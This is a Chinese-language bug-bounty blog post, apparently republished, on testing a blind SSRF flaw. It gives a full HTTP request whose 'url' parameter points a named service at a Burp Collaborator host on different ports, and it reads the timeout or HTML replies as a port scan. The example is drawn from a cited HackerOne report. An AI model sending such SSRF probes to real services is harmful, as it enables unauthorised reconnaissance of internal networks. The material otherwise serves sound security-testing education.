2026-05-06 06:09:31 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文介绍盲SSRF漏洞的典型测试方法，通过修改URL参数中的端口号并观察BurpCollaborator的响应差异来判断目标端口开放状态。当端口关闭时返回超时错误，开放时则返回包含特定标识的HTML内容。文档提供了具体的HTTP请求示例和响应分析，并引用HackerOne漏洞报告作为实践参考。 综合评分： 69 文章分类： WEB安全,渗透测试,漏洞分析,实战经验

cover_image

盲sssrf典型测试方法

原创

h1 h1

迪哥讲事

2026年5月4日 10:00 四川

在小说阅读器读本章

去阅读

盲sssrf典型测试方法

正文

敏感参数为url:

GET /api/v1/http/default/raw?regex=%22service.name%22:/s%22(package-registry)%22&statusCodeMax=200&statusCodeMin=200&url=http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22 HTTP/1.1
Host: fleet-status.app.elstc.co
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Te: trailers
Connection: close

端口检测结果

若指定22 端口，返回：

{"type":"HTTP-RAW","status":"WARNING","label":"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:22","message":"timeout/host unreachable"}

端口未开放

若指定80 端口，返回：

{"type":"HTTP-RAW","status":"FAILURE","label":"http://p8yfvg6nige7z2ndagpf3v181z7pve.burpcollaborator.net:80","value":{"values":["<html><body>ift3z4lojdng3fv7r68q5szjigz</body></html>"],"unit":"RAW"}}

端口 80 开放

如果对应的端口没有开放,那么会报错timeout/host unreachable：超时 / 主机不可达

典型的ssrf测试方法

如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

往期回顾

如何利用ai辅助挖漏洞

如何在移动端抓包-下

如何绕过签名校验

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips‍

参考

https://hackerone.com/reports/1300585

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：迪哥讲事 h1 h1《盲sssrf典型测试方法》